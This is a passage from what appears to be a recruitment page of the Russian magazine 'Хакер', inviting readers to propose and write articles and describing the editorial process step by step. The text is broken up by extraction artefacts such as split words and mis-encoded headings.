тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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